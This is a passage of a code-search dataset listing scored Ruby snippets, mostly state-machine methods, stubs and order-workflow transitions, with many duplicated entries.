"2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "2e7f551fec883c80a1a3f61bc27686b2", "score": "0.59409016", "text": "def state; end", "title": "" }, { "docid": "9bc79d5dbf7518668acc1e81183b2fa1", "score": "0.59232295", "text": "def from_state; end", "title": "" }, { "docid": "9bc79d5dbf7518668acc1e81183b2fa1", "score": "0.59232295", "text": "def from_state; end", "title": "" }, { "docid": "3f6d24c05e33766d5c22087ddba70a23", "score": "0.59179443", "text": "def perform(order, previous_state=\"nil\")\n \t@order = order\n \t@previous_state = previous_state\n \tif @previous_state == \"nil\"\n \t\torder_confirmation_send_later(@order)\n \telse\n \t\tstate_changed_send_later(@order, @previous_state)\n \tend\n end", "title": "" }, { "docid": "d69fbe33f31acc3b27280d7931888436", "score": "0.59164447", "text": "def initialize\n @state_machine_variable = null\n end", "title": "" }, { "docid": "e939ce516657b8c03354759e06831c75", "score": "0.58972824", "text": "def state_machine\n if @state_machine then @state_machine\n elsif superclass.respond_to?(:state_machine)\n superclass.state_machine\n end\n end", "title": "" }, { "docid": "0a64e75b0e78dc4658ff51a5147175be", "score": "0.5845263", "text": "def order_state(order)\n validate_state_transform_order!(order)\n end", "title": "" }, { "docid": "86f7804b08ca9bd1593560cc6c0ae03d", "score": "0.5840202", "text": "def state_machine_template_class\n StateMachineTemplate\n end", "title": "" }, { "docid": "47f78c65693ba8f11ebff6a5ee4a4832", "score": "0.58376426", "text": "def run_state_machine\n loop {\n cmd = @cmd_queue.shift\n begin\n unless cmd.nil?\n c = cmd.shift\n transmitStatusUpdate(\"#{c} command received.\")\n send(:\"do_#{c}\", *cmd)\n bell_click\n else # state checking\n unless [:failed, :bug].member? @state\n # Here we will set the sleep quantum always to be 0.10,\n # but the state handler itself may reset this. And will\n # have to on every invocation!\n #\n # Note that because we can have @state transistioned within a state handler,\n # we must keep track of what state the sleep_quantum was set for, hince\n # qstate.\n @microstates[qstate = @state].sleep_quantum = DEFAULT_SLEEP_QUANTUM\n send(:\"do_#{@state}\", @microstates[@state])\n sleep(unless @microstates[qstate].nil?\n @microstates[qstate].sleep_quantum\n else\n DEFAULT_SLEEP_QUANTUM\n end) # Will be awakened early if need be.\n else\n Thread.stop\n end\n end\n rescue Exception => err\n p err\n puts err.backtrace.join(\"\\n\")\n state_to :bug, err, c, cmd\n end\n }\n end", "title": "" }, { "docid": "a5b184013c9a9ee104203cf1b2522d8a", "score": "0.5816205", "text": "def is_persistent_state_machine\n DataMapper.logger.info \"registering persistent state machine...\"\n \n # Add class-methods\n extend DataMapper::Is::PersistentStateMachine::ClassMethods\n extend Forwardable\n # Add instance-methods\n include DataMapper::Is::PersistentStateMachine::InstanceMethods\n \n target_model_name = self.name.snake_case\n \n # target object must have a status associated\n property :state_id, Integer, :required => true, :min => 1\n property :current_responsible_user_id, Integer\n belongs_to :state\n belongs_to :current_responsible_user, :model => 'User'\n \n has n, Extlib::Inflection.pluralize(target_model_name+\"StateChange\").snake_case.to_sym, :constraint => :destroy!\n \n # generate a FooState class that is derived from State \n state_model = Object.full_const_set(self.to_s+\"State\", Class.new(State))\n # generate a FooStateEvent class that is derived from StateEvent\n event_model = Object.full_const_set(self.to_s+\"StateEvent\", Class.new(StateEvent))\n\n state_change_model = Class.new do\n include DataMapper::Resource\n\n property :id, ::DataMapper::Property::Serial\n\n property :from_id, Integer, :required => true, :min => 1\n property :to_id, Integer, :required => true, :min => 1\n property :user_id, Integer, :required => true, :min => 1\n property :comment, String\n property Extlib::Inflection.foreign_key(target_model_name).to_sym, Integer, :required => true, :min => 1\n property :created_at, DateTime\n property :snapshot_data, ::DataMapper::Property::Text\n property :next_user_id, Integer\n\n # associations\n belongs_to :user\n belongs_to :from, \"State\"\n belongs_to :to, \"State\"\n belongs_to target_model_name.to_sym\n end\n \n state_change_model = Object.full_const_set(self.to_s+\"StateChange\",state_change_model)\n \n self_cached = self\n \n after :save do\n if (@prev_state && (@prev_state != state || @next_user_id!=current_responsible_user_id))\n snapshot_data = nil\n if self.respond_to?('serialize')\n snapshot_data = self.serialize\n end\n @state_change = state_change_model.new\n # for some reason attributes= does raise an error, unfortunately solution provided here https://github.com/datamapper/dm-core/issues/159 does not solve it\n @state_change.from = @prev_state\n @state_change.to = state\n @state_change.created_at = DateTime.now,\n @state_change.user = @updating_user\n @state_change.comment = @comment\n @state_change.send(Extlib::Inflection.foreign_key(target_model_name)+'=', self.id)\n @state_change.snapshot_data = snapshot_data\n @state_change.next_user_id = @next_user_id\n @state_change.save\n @prev_state = nil # clean up cache\n @updating_user = nil\n end\n end\n\n # define delegators\n def_delegators :@state, :events \n end", "title": "" }, { "docid": "46ef20617a932d4bb7f6eaf831cd73d7", "score": "0.58111125", "text": "def is_persistent_state_machine\n DataMapper.logger.info \"registering persistent state machine...\"\n \n # Add class-methods\n extend DataMapper::Is::PersistentStateMachine::ClassMethods\n extend Forwardable\n # Add instance-methods\n include DataMapper::Is::PersistentStateMachine::InstanceMethods\n \n target_model_name = self.name.snake_case\n \n # target object must have a status associated\n property :state_id, Integer, :required => true, :min => 1\n belongs_to :state\n \n has n, Extlib::Inflection.pluralize(target_model_name+\"StateChange\").snake_case.to_sym, :constraint => :destroy!\n \n # generate a FooState class that is derived from State \n state_model = Object.full_const_set(self.to_s+\"State\", Class.new(State))\n # generate a FooStateEvent class that is derived from StateEvent\n event_model = Object.full_const_set(self.to_s+\"StateEvent\", Class.new(StateEvent))\n\n state_change_model = Class.new do\n include DataMapper::Resource\n\n property :id, ::DataMapper::Types::Serial\n\n property :from_id, Integer, :required => true, :min => 1\n property :to_id, Integer, :required => true, :min => 1\n property :user_id, Integer, :required => true, :min => 1\n property Extlib::Inflection.foreign_key(target_model_name).to_sym, Integer, :required => true, :min => 1\n property :created_at, DateTime\n\n # associations\n belongs_to :user\n belongs_to :from, \"State\"\n belongs_to :to, \"State\"\n belongs_to target_model_name.to_sym\n end\n \n state_change_model = Object.full_const_set(self.to_s+\"StateChange\",state_change_model)\n \n self_cached = self\n \n after :save do\n if (@prev_state && @prev_state != state)\n @state_change = state_change_model.create(:from => @prev_state, :to => state, :created_at => DateTime.now, :user => @updating_user, Extlib::Inflection.foreign_key(target_model_name).to_sym => self.id)\n @prev_state = nil # clean up cache\n @user = nil\n end\n end\n\n # define delegators\n def_delegators :@state, :events \n end", "title": "" }, { "docid": "2fb427cefeab73dd04c1f91d394dcb27", "score": "0.5802986", "text": "def next_state (delivery)\n\t\tif self.state == \"Box it\" && delivery then self.state = \"Delivery\" end\n\t\tif self.state == \"Box it\" && !delivery then self.state = \"Dispatched\" end\n\t\tif self.state == \"Cut it\" then self.state = \"Box it\" end\n\t\tif self.state == \"Bake it\" then self.state = \"Cut it\" end\n\t\tif self.state == \"In preparation\" then self.state = \"Bake it\" end\n\t\tself.save\n\tend", "title": "" }, { "docid": "e730da34e0ea07b366fb2b47c3f6b200", "score": "0.57908887", "text": "def advance_state!\n case current_state.name\n when /unitialized/\n process_attachment!\n when /queued/\n import_oag_file!\n when /queued_for_large_file/\n import_large_oag_file!\n when /schedules_loaded/\n refresh_airports!\n when /airports_refreshed/\n refresh_airlines!\n when /airlines_refreshed/\n refresh_direct_flights!\n when /direct_flights_refreshed/\n finalize!\n # when /destinations_refreshed/\n # refresh_cnx_pairs!\n # when /connections_refreshed/\n # wait_for_destinations_filter!\n # when /waiting_for_destinations_filtered/\n # finalize!\n end\n end", "title": "" }, { "docid": "eb1056c73ec9a387511c44b00ff03936", "score": "0.5781934", "text": "def state(); @state; end", "title": "" }, { "docid": "ef1d8de1edccec3a664454458fd41227", "score": "0.5768265", "text": "def extra_state; end", "title": "" }, { "docid": "67ec7dfd3606df8a54205e55fb1d2674", "score": "0.575575", "text": "def build_dsl_10\n smc =StateModelCreator.new\n smc.define_action :action1 do \n @action1_done=true\n end # end action\n smc.define_action :action2\n smc.define_guard_on :action2 do\n if @action1_done\n guard=true\n else\n guard=false\n end # end if\n guard\n end # end guard\n smc.define_action :action3\n smc.define_action :action4\n smc.attach_transition(:STATEA,:action1,:STATEB)\n smc.attach_transition(:STATEB,:action2,:STATEC)\n smc.attach_transition(:STATEC,:action3,:STATED)\n smc.attach_transition(:STATEC,:action4,:STATEE)\n sm = smc.state_machine\n return sm\n end", "title": "" }, { "docid": "66b06db45553f1f26af0596139fe6ee5", "score": "0.5754683", "text": "def state_machine\n @state_machine ||= PostStateMachine.new(self, transition_class: PostTransition)\n end", "title": "" }, { "docid": "8169397edc1f67473e13bfa2184d7ae0", "score": "0.5738576", "text": "def set_state_machine\n @state_machine = StateMachine.find(params[:id])\n end", "title": "" }, { "docid": "febf1d10a89ffc6b381893f263c0150a", "score": "0.57143724", "text": "def request1 \n @state.handle1 \n end", "title": "" }, { "docid": "8d17b242085eaf0483952aea2eccf043", "score": "0.56761146", "text": "def state_machine\n @state_machine ||= UserActivityStateMachine.new(self, transition_class: UserActivityTransition)\n end", "title": "" }, { "docid": "9f109d7fc0313ee40e656a5a97e92923", "score": "0.566769", "text": "def state_resumed; end", "title": "" }, { "docid": "764fe379315722e1942a8b9b38b4dbb5", "score": "0.56622213", "text": "def superstatemachine\n @submachineState && @submachineState.stateMachine\n end", "title": "" }, { "docid": "4d5adba0231bd0de24ea369b3850c2c7", "score": "0.5637992", "text": "def default_workflow_logic\n next!\n end", "title": "" }, { "docid": "d168b76f93e41ca5d9ee163db8660ee1", "score": "0.5636951", "text": "def state(*) end", "title": "" }, { "docid": "f0f326d225e8cbd133913143052a8a4a", "score": "0.5635192", "text": "def setup(state) ; end", "title": "" }, { "docid": "577ab2eeb2bce71d256190fa20ab4e43", "score": "0.56320584", "text": "def next_state_class\n ClientDHState\n end", "title": "" }, { "docid": "09ab05e1937be270018cd1d6bc6c9351", "score": "0.56306726", "text": "def initial_state; end", "title": "" }, { "docid": "09ab05e1937be270018cd1d6bc6c9351", "score": "0.56306726", "text": "def initial_state; end", "title": "" }, { "docid": "99d9203a3432899f1dd8d6eb6061f9ed", "score": "0.56293696", "text": "def process_instant_state(user, faye_message)\n unless /\\A\\/v1\\/(?<recipient_type>users)\\/(?<recipient_id>\\S+)\\/messages\\z/ =~ faye_message['channel']\n faye_message['error'] = Faye::Error.channel_invalid(faye_message['channel'])\n return\n end\n\n message = faye_message['data']['message']\n faye_message['data'] = {\n 'message_type' => 'instant_state',\n 'message' => {\n 'state' => message['state'],\n 'recipient_type' => message['recipient_type'],\n 'recipient_id' => message['recipient_id'],\n 'user' => {\n 'id' => user.encrypted_id,\n 'username' => user.username,\n 'nickname' => user.nickname\n }\n }\n }\n end", "title": "" }, { "docid": "36f9f7238c3f115511b1ef89df0a59bc", "score": "0.560747", "text": "def delivery_handler; end", "title": "" }, { "docid": "342cff274ce1d029d31764d2283c0142", "score": "0.5602011", "text": "def execute_state_callbacks(state); end", "title": "" }, { "docid": "7025b99c8d954cce2a7a2a974ac68953", "score": "0.5566399", "text": "def default_state_class?()\n \"EnterSampleDeliveryNumber\" \n end", "title": "" }, { "docid": "9fbdb84af1b8e94a092e472877d817c4", "score": "0.55661327", "text": "def init_state_machines\n initialize_state_machines\n end", "title": "" }, { "docid": "659c5a377e2e3363581d1638661b4b52", "score": "0.55544734", "text": "def event(action, transitions, &block)\n transitions(:to => transitions[:to], :from => transitions[:from])\n states(transitions[:to],*transitions[:from])\n define_method(\"#{action.to_s}\") { |*options|\n datetime = options.shift || Time.now\n self.transition(transitions[:to],datetime)\n }\n \n # SomeStatefulModel#accepted? is created, returning true if the model's current state matches the method's name (in this case accepted?), false otherwise.\n #\n define_method(\"#{transitions[:to].to_s}?\") {\n self.current_state.name == StateMachine.symbol_to_name(transitions[:to])\n }\n \n # Also SomeStatefulModel.accepted is created, returning all records currently in the accepted state.\n #\n self.instance_eval <<-EOC\n def #{transitions[:to]}(options = {})\n order = options[:order].nil? ? \"\" : \"ORDER BY \" + options[:order]\n #{self.to_s}.find_by_sql(\n \"SELECT *\n FROM #{self.to_s.tableize}\n WHERE id IN\n (SELECT stateful_entity_id\n FROM states\n WHERE states.id IN\n (SELECT DISTINCT ON (stateful_entity_id) id\n FROM states\n WHERE stateful_entity_type = '#{self.to_s}'\n ORDER BY stateful_entity_id DESC, precedence DESC)\n AND precedence = #{precedences[transitions[:to]]})\n \\#{order}\")\n end\n EOC\n end", "title": "" }, { "docid": "2dba8a52a6b107ce5368e5a613d7cd83", "score": "0.5546455", "text": "def advance_state!\n case current_state.name\n when /uninitialized/\n verify_report_keys!\n when /waiting_for_report_keys/\n confirm_report_keys!\n when /report_keys_loaded/\n build_connections!\n when /building_connections/\n confirm_connections!\n when /connections_built/\n build_smart_routes!\n when /building_smart_routes/\n confirm_smart_routes!\n when /smart_routes_built/\n build_route_maps!\n when /building_route_maps/\n confirm_route_maps!\n when /route_maps_built/\n finalize!\n end\n end", "title": "" }, { "docid": "b8a78afc6b44c0b09c7fde191302af8d", "score": "0.55448306", "text": "def shared_tracking_workflow_specs_as_string\n '\n state :on_shelf do\n event :unassign_location, :transitions_to => :unallocated\n event :display, :transitions_to => :displayed\n event :hold_out, :transitions_to => :held_out\n event :loan, :transitions_to => :on_loan_to_organization\n # trackable_items can be allocated more than one shelf location\n event :allocate, :transitions_to => :on_shelf\n end\n\n state :displayed do\n event :allocate, :transitions_to => :on_shelf\n event :hold_out, :transitions_to => :held_out\n event :loan, :transitions_to => :on_loan_to_organization\n event :queue_for_refiling, :transitions_to => :to_be_refiled\n event :refile, :transitions_to => :on_shelf\n end\n\n state :held_out do\n event :allocate, :transitions_to => :on_shelf\n event :loan, :transitions_to => :on_loan_to_organization\n event :queue_for_refiling, :transitions_to => :to_be_refiled\n event :refile, :transitions_to => :on_shelf\n end\n\n state :on_loan_to_organization do\n event :display, :transitions_to => :displayed\n event :hold_out, :transitions_to => :held_out\n event :queue_for_refiling, :transitions_to => :to_be_refiled\n event :refile, :transitions_to => :on_shelf\n end\n '\n end", "title": "" }, { "docid": "e482ffdec528d2a99563fa324983a165", "score": "0.554089", "text": "def get_state\n self\n end", "title": "" }, { "docid": "92ad4fe69b111e635302a8d7e14fc9f5", "score": "0.5536748", "text": "def order_state_not_changed_notification(orders, errors)\n @errors = errors\n @emails = [\"milind.phirake@anchanto.com\"]\n @subject = \"Channel Manager : URGENT | Order State Not Updated in FBA\"\n @orders = orders\n mail(to: \"abhijeet.ghude@anchanto.com\", cc: @emails, bcc: \"nitin.khairnar@anchanto.com\", from: \"no-reply@channel-manager.com\", subject: @subject)\n end", "title": "" }, { "docid": "23307d875d5990bc650ee061912d0c20", "score": "0.55346286", "text": "def state_machine_template\n @state_machine_template ||= state_machine_template_class.new\n end", "title": "" }, { "docid": "6e2f573c3f012d8ff41a67a751f5fdaa", "score": "0.5533425", "text": "def switch_state state, opts = {}, &block\n # need to make this better\n protocol = opts.has_key?(:protocol) ? opts[:protocol] : self.class.protocol\n top = opts.has_key?(:top) ? opts[:top] : false\n begin\n state_class = StateProcessorFactory[state]\n rescue StateProcessorInvalidState\n raise unless block_given?\n state_class = state.class_eval(&block)\n retry \n end\n # execute a block if one was passed to us an we are not already defined\n @result = processor_for(state_class, opts).process(@command.flatten,top)\n end", "title": "" }, { "docid": "cc1365518e2f755c2d62ecb3d6d0bb71", "score": "0.55249953", "text": "def handle_in_source_state\n if @state_machine.initial_queue.nil?\n raise RuntimeError, \"State machine not started yet.\"\n end\n\n if Dispatch::Queue.current.to_s != @state_machine.initial_queue.to_s\n raise RuntimeError,\n \"#{self.class.event_type}:#{@event_trigger_value} must be \"\\\n \"called from the queue where the state machine was started.\"\n end\n\n @source_state.send :guarded_execute,\n self.class.event_type,\n @event_trigger_value\n end", "title": "" }, { "docid": "bc74563db912c08d0799d327b3f53b1c", "score": "0.55204993", "text": "def set_flow\n\n end", "title": "" }, { "docid": "749c7997feba48b869dd3311eb5b3b7b", "score": "0.5518565", "text": "def raw_state; end", "title": "" }, { "docid": "9fedf27605c5540ed916e538e2158333", "score": "0.55164754", "text": "def state_transition(action)\n @action = action\n @form = ApplyForm.find(params[:id])\n\n if params[:mail]\n unless params[:confirm_not_send]\n begin\n @mail = ApplyFormMail.new(params)\n @mail.deliver\n @form.send(@action)\n flash[:info] = I18n.translate(\"emails.success\")\n rescue ApplyFormMail::DeliveryFailure => error\n flash[:error] = I18n.translate(\"emails.failure\") + ' Chyba: ' + error.message\n end\n else\n @form.send(@action)\n flash[:info] = ApplyForm.human_attribute_name(\"apply_form_states.changed\")\n end\n\n redirect_to url_for(:action => 'index', :year => params[:year],\n :state_filter => params[:state_filter],\n :tag_id => params[:tag_id])\n else\n yield(@form) if block_given?\n @mail = ApplyFormMail.new(:action => @action,\n :form => @form,\n :user => current_user)\n render :partial => 'outgoing/apply_forms/mail'\n end\n end", "title": "" }, { "docid": "3a81d3398793d001e2d6efce551a718f", "score": "0.5516415", "text": "def enter_checkout; end", "title": "" }, { "docid": "22de5e7ead17f615a8d9d88295b7ac48", "score": "0.5514465", "text": "def state(e,s) \n\t$state.state(gid(e),s)\nend", "title": "" }, { "docid": "94b70637be272d1fe4665b62ec47a7b1", "score": "0.5513154", "text": "def state(*args); end", "title": "" }, { "docid": "94b70637be272d1fe4665b62ec47a7b1", "score": "0.5513154", "text": "def state(*args); end", "title": "" }, { "docid": "c318308b04b8d04e56cd0dbeea52020d", "score": "0.5512887", "text": "def advance_state!\n case current_state.name\n when /uninitialized/\n confirm_route_maps_exported!\n when /route_map_confirmed/\n build_implied_markets!\n when /implied_markets_built/\n validate_markets!\n when /markets_validated/\n finalize!\n end\n end", "title": "" }, { "docid": "95c7925c088439ba22333ab1f4d21ae7", "score": "0.550477", "text": "def change_state_order\n if self.state == \"terminado\"\n if self.order.subprocesses.last.id == self.id\n self.order.end! if self.order.may_end?\n else\n self.order.start! if self.order.may_start?\n end\n \n end\n end", "title": "" }, { "docid": "4962f25c6797efc35f640bb21a1ad7a6", "score": "0.55019563", "text": "def __load_and_process\n # in the case where you need to start from a sub-action in the middle of a sm, you also need to force\n # the sm to be cleared before any processing, otherwise you could get stuck. This adds a optional param to any action route\n # allowing the state machine to be reset right before the action.\n if params[:clear]\n __debug(\"clearing state with save_state(nil)\")\n save_state(nil)\n end\n \n __load\n event = params[:action].to_sym # rails action should always be something convertible to a symbol\n return if event == :next # next is a special action, don't try to send the event.\n __process(event)\n end", "title": "" }, { "docid": "121c5d8ec0aec6c4568d80fdf7f832b7", "score": "0.55006796", "text": "def next_state_class\n raise NotImplementedError\n end", "title": "" }, { "docid": "285efec9f2b4ce82368efe1d2d05edc7", "score": "0.55000573", "text": "def statemachine\n # There can only one.\n return Thread.current[:statemachine] if Thread.current[:statemachine]\n\n b = RedSteak::Builder.new(:logger => false && $stderr)\n # breakpointer\n \n b.build do\n statemachine :test, :logger => false && $stderr do\n initial :a\n final :end\n \n state :a, :option_foo => :foo\n transition :a, :name => 'foo'\n transition :a, :name => 'bar'\n\n transition :a, :b, \n :name => :a_to_b,\n :guard => :a_to_b?\n\t \n\t# state :q, :entry_state => :entering_q\n \n state :b\n transition :c\n transition :c, :name => 'c2'\n \n state :c\n transition :a\n transition :c, :e, :name => :e1\n transition :end\n\n state :e\n transition :e, :f, :name => :tran_e_1, :guard => :e_f_guard_true\n transition :e, :f, :name => :tran_e_2, :guard => :e_f_guard_false\n\n state :f\n transition :f, :d\n transition :f, :end\n \n state :d\n transition :a, :d\n transition :end\n state :d do\n statemachine do\n initial :d1\n final :end\n \n state :d1\n transition :d2\n transition :end\n\n state :d2\n transition :d1\n transition :end\n \n state :d3\n transition :d1\n transition :d2, :d3\n\n state :end\n transition \"end\"\n end\n end\n end\n end\n \n sm = b.result\n\n=begin\n $stderr.puts \"sm = #{sm.inspect}\"\n $stderr.puts \"transitions = #{sm.transitions.inspect}\"\n $stderr.puts \"states = #{sm.states.inspect}\"\n=end\n\n Thread.current[:statemachine] = sm\n\n sm\n end", "title": "" }, { "docid": "67f201ea428ccf3eeef91815c4a949bc", "score": "0.54989314", "text": "def _owner\n @context[:statemachine] ||\n @root_statemachine ||\n (raise Exception, \"statemachine is unknown\")\n end", "title": "" }, { "docid": "61d586a768288adf3e56be3e9bbff7da", "score": "0.54928833", "text": "def determine_state(order)\n return state if ['fulfilling', 'fulfill_failed', 'shipped'].include?(state)\n\n orig_determine_state(order)\n end", "title": "" }, { "docid": "4f8a0c7e12912d24a3b447f1c59f3ccb", "score": "0.54753727", "text": "def goto_state state\n _goto_state state\n end", "title": "" }, { "docid": "5ef7b60c6ff37b0627971022dcc26524", "score": "0.5468565", "text": "def event(event, &block)\n class_eval <<-EOV\n def #{event.to_s}!\n next_states = next_states_for_event(:#{event.to_s})\n #p \"available states insid \\#{self.class}: \\#{next_states.inspect}\"\n previous_state = current_state\n next_states.each do |ns|\n if ns.guard(self)\n loopback = current_state == ns.to\n exitact = self.class.read_inheritable_attribute(:states)[current_state][:exit]\n enteract = self.class.read_inheritable_attribute(:states)[ns.to][:enter]\n self[self.class.state_column.to_sym]=ns.to.to_s\n if (self.save)\n run_transition_action(enteract) if enteract && !loopback\n run_transition_action(exitact) if exitact && !loopback\n else\n self[self.class.state_column.to_sym]=previous_state.to_s\n end\n break\n end\n end\n end\n EOV\n \n tt = read_inheritable_attribute(:transition_table)\n tt[event.to_sym] ||= []\n \n if block_given?\n t = SupportingClasses::TransitionCollector.new\n t.instance_eval(&block)\n trannys = t.opts\n trannys.each do |tranny|\n Array(tranny[:from]).each do |s|\n tt[event.to_sym] << SupportingClasses::StateTransition.new(s.to_sym, tranny[:to], tranny[:guard])\n end\n end\n end\n end", "title": "" }, { "docid": "cf81e2e46385df7dc5a252c1db051bcd", "score": "0.54675967", "text": "def define_state_initializer\n end", "title": "" } ]
0757da13ddbabd881394983744b6146e
Prints each integer values in the array
[ { "docid": "8af23aca081e2936752b3fd385bd3992", "score": "0.64067984", "text": "def print_array(array)\n\n length_array = 0\n\n while array[length_array] != nil\n length_array = length_array + 1\n end\n index = 0\n length_array.times do\n print \"#{array[index]} \"\n index = index + 1\n end\n # raise NotImplementedError\nend", "title": "" } ]
[ { "docid": "0282fbca6e73a61f604e252ecf611eb6", "score": "0.78347355", "text": "def print_array_vals array\n array.each do |i|\n puts i\n end\nend", "title": "" }, { "docid": "49e22714b22c19b00d173af1984d2fce", "score": "0.7580531", "text": "def print_array (array_of_integers)\n print array_of_integers\nend", "title": "" }, { "docid": "3d2c981332c52ad2eabf0ee34c58a85f", "score": "0.7432338", "text": "def print_numbers(array)\n array.each do |n|\n print \"#{n}, \"\n end\n puts\nend", "title": "" }, { "docid": "531f55acca0d048b43b18638fd5e1a12", "score": "0.74061316", "text": "def iterate_array x\n x.each { |i| print i, ', ' }\nend", "title": "" }, { "docid": "e5ef014168481b619cb67da39c4b581d", "score": "0.7360746", "text": "def printArray(array)\n for i in array \n print \"\\nArray value: \"\n puts i \n end \nend", "title": "" }, { "docid": "5157f3a6af3d5b5829c8101439419c42", "score": "0.7332204", "text": "def printArray(array)\r\n for i in array \r\n print \"\\nArray value: \"\r\n puts i \r\n end \r\nend", "title": "" }, { "docid": "d6b182a43ca3f5d29170c6c665e12f67", "score": "0.7317314", "text": "def array_print arr\n for i in arr\n puts i\n end\nend", "title": "" }, { "docid": "0db76efb7a573e8b9c43162a2a15a1e7", "score": "0.72960556", "text": "def print_array(numbers)\n numbers.each do |number|\n print \"#{number} \"\n end\n puts\nend", "title": "" }, { "docid": "85f535e1d62193d392a6852ff1c3b634", "score": "0.7254566", "text": "def printarray (a)\n\ta.each_with_index { |i,x| printf(\"index: %s, value = %s; \\n\",x,i)}\nend", "title": "" }, { "docid": "691a4ad9e9c128797a911de20356470e", "score": "0.72127104", "text": "def Print_Array(array)\n array.each do |val|\n print (val.to_s + \" \")\n end\nend", "title": "" }, { "docid": "e642ade4b74309ee308d6810081869b3", "score": "0.72109014", "text": "def display_ary( ary )\n ary.each_with_index do | ele,n |\n puts \" #{n}: #{ele}\"\n end\n end", "title": "" }, { "docid": "5549fae47a22cc384a8e646ee58f3f9a", "score": "0.72088635", "text": "def print_array(array)\n array.each do |value|\n p value\n end\nend", "title": "" }, { "docid": "546d2a09c830c81c6160f99510a87764", "score": "0.7203649", "text": "def array(array)\n puts \"\\n\"\n array.each_with_index do |value,index|\n puts \"#{index+1}. #{value.to_s}\".yellow\n end\n puts \"\\n\"\n end", "title": "" }, { "docid": "1cc0812e1899b66b01db4c3bcb35104d", "score": "0.7201019", "text": "def printArray anArray\n\tanArray.each do |i|\n\t\tputs i\n\tend\nend", "title": "" }, { "docid": "7a9eed45e8dde3dd4f8edd602865ff82", "score": "0.71262294", "text": "def print_array(array)\n # Setting iterator to start at 0\n i = 0\n\n # While i is < the length of the array\n while array[i] != nil\n # Print value if value is an integer\n print array[i] if array[i].class == Integer\n i += 1\n end\nend", "title": "" }, { "docid": "6c54b307284dbef3aa07671ba44305e0", "score": "0.7115271", "text": "def print_array(array)\n print array\n end", "title": "" }, { "docid": "e4f22785ef5e5544c8ed36b5813331e2", "score": "0.7105889", "text": "def printArray anArray\r\n\tanArray.each do |i|\r\n\t\tputs i\r\n\tend\r\nend", "title": "" }, { "docid": "d933b7e190e1e4d97e7ae4e920a08bbd", "score": "0.7066234", "text": "def array_print_10\n [0, 1, 2, 3, 4, 5, 6, 7, 8, 9].each do |n|\n puts n\n end\nend", "title": "" }, { "docid": "d933b7e190e1e4d97e7ae4e920a08bbd", "score": "0.7066234", "text": "def array_print_10\n [0, 1, 2, 3, 4, 5, 6, 7, 8, 9].each do |n|\n puts n\n end\nend", "title": "" }, { "docid": "9b36d366203e5240d30bf683c353081e", "score": "0.7043445", "text": "def iterate_array(arr)\n\tarr.each do |num|\n\t\tputs num\n\tend\nend", "title": "" }, { "docid": "a911da2cd25122abdccfde509c5364ce", "score": "0.7018947", "text": "def pringEach(arr);arr.each{|i| puts i} end", "title": "" }, { "docid": "9f6da72245431e44e8b57057d37a514d", "score": "0.69708246", "text": "def showArrayItems(array)\r\n array.each { |item| puts item }\r\n end", "title": "" }, { "docid": "f97462aec14823ec4f10bd1cc0419398", "score": "0.6952191", "text": "def printArray()\n index = 0\n print \"-------\"\n (0...array[0].length).each do |row|\n print \"------\"\n end\n puts \"\"\n print \"| - \"\n characters = 65\n (0...array[0].length).each do |row|\n print \"| #{characters.chr} \"\n characters += 1\n end\n puts \"|\"\n for rows in array\n print \"-------\"\n for value in rows\n print \"------\"\n end\n puts \"\"\n print \"| #{index} |\"\n index += 1\n for value in rows\n print \" #{value.to_i} |\"\n end\n puts \"\"\n end\n print \"-------\"\n (0...array[0].length).each do |row|\n print \"------\"\n end\n puts \"\"\n end", "title": "" }, { "docid": "2a83e669cf52a4165bfcc73f826deb31", "score": "0.6942277", "text": "def eaching(array)\n i = 0\n while i < array.length\n printing_each_element(array[i])\n i = i + 1\n end\n array\n end", "title": "" }, { "docid": "f5416a3f04baf675981f7e6573df8d27", "score": "0.69261116", "text": "def print_array(arr)\n arr.each { |elem| print elem.to_s + \" \" }\n puts\nend", "title": "" }, { "docid": "f3556639343eb12b576b1b5148fa49ed", "score": "0.69207984", "text": "def display_arr(arr)\n arr.each do |element|\n print \"#{element} \"\n end\n print \"\\n\"\n end", "title": "" }, { "docid": "c8c5228417572e5eb1d52dcf1c8f28e4", "score": "0.6899019", "text": "def print_array(array)\r\n\trank = 1\r\n\tarray.each do |item|\r\n\t\tputs \"#{rank}: #{item}\"\r\n\t\trank += 1\r\n\tend\r\nend", "title": "" }, { "docid": "bee8607da3b220f88b09a1c643e37ecd", "score": "0.6894963", "text": "def array_print_10\n a = [0,1,2,3,4,5,6,7,8,9]\n a.each{|x| print x }\n puts\nend", "title": "" }, { "docid": "59bdcb940edad2f772994c58d4f819b7", "score": "0.6894797", "text": "def print_arr\n x = [1, 3, 5, 7, 9, 13]\n x.each { |i| puts i }\nend", "title": "" }, { "docid": "c7e7a9df268a4a66f07d639575af253b", "score": "0.6881935", "text": "def print_arr(arr)\n\tarr = arr.map{|x|x+1}\n\tarr = arr.map(&:to_s)\n\treturn arr.join(\" \")\nend", "title": "" }, { "docid": "33c690e90a23803a14b271ded9db1313", "score": "0.685958", "text": "def print_array arr\n arr.each do |row|\n p row\n end\n puts \nend", "title": "" }, { "docid": "f23c7ed8c7ed911ed116b0b71392b837", "score": "0.6825262", "text": "def display(arr)\n puts\n puts \"----------\" if arr.count > 1\n arr.each {| el | puts el } #Puts out each element from the array\n puts \"----------\" if arr.count > 1\n puts\n end", "title": "" }, { "docid": "8d5e123d56a0dbd35a4832bca99d0b28", "score": "0.6775757", "text": "def puts_each (array)\n # binding.pry\n array.each { |i|\n puts i\n }\n\n\nend", "title": "" }, { "docid": "c07a2bb2740ea48070574195e6326205", "score": "0.67675555", "text": "def print_array(arr)\n arr.each do|x|\n puts x\n end\nend", "title": "" }, { "docid": "49dba6355299b02365f2f23515dab937", "score": "0.6757457", "text": "def numbers\n num_array =[5,10,15,20,25,30]\n num_array.each do |bers|\n p bers\n end\nend", "title": "" }, { "docid": "cca05f55ab23efc704aa1de367dfc714", "score": "0.6753813", "text": "def array_print(a = [])\n a.each_with_index { |value, index| p \"#{index}, #{value}\" }\nend", "title": "" }, { 